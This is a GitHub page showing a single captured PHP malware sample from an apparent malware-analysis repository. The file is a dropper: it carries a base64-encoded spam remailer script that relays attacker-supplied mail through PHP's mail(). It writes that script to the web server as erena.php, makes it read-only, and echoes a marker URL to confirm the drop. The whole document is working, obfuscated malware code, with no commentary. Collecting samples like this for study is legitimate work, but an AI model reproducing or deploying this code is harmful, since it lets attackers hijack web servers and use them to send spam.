php-malware-analysis/remailers/erena.php/dc2.php at master · bediger4000/php-malware-analysis · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$file_body = 'PD9waHAgDQokamV3cnF3Ym5sayA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyd5bHhxanFiY24nXSk7IA0KJHhhb3VmID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ25yc2YnXSk7IA0KJGp3Z3B4bHpibGtlcGEgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsndGRsdWhxdG5tenInXSk7ICANCiRmY3VibHNxdHBhZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWydxcWlmcXVhcWR6dnAnXSk7ICANCiRqZm5icnNqZnEgPSBtYWlsKCRqZXdycXdibmxrLCAkeGFvdWYsICRqd2dweGx6YmxrZXBhICwgJGZjdWJsc3F0cGFlKTsNCmlmKCRqZm5icnNqZnEpe2VjaG8gJ3Z3a3hscGMnO30gZWxzZSB7ZWNobyAneWZiaG4gOiAnIC4gJGpmbmJyc2pmcTt9IA0KDQogDQo=';
$file_name = 'erena.php';
#$root =  $_SERVER["DOCUMENT_ROOT"];
$root =  "./";
if (strpos($root,'/') !== false) {
    $path =  $root . "/" . $file_name;
}
else $path = $root . "\\" . $file_name;


//chmod($path, 0644);
$fp = fopen($path , 'w');
fwrite($fp, base64_decode($file_body));
fclose($fp);
//chmod($path, 0444);

//file_put_contents($file_name , base64_decode($file_body));


echo mt_rand(333, 999);

//file_put_contents($path, base64_decode($file_body));


if (file_exists($path)) {
echo '##**##' . "http://stratigery.com/". $file_name . '###***###' ;
chmod($path, 0444);
}


//echo mt_rand(222, 777);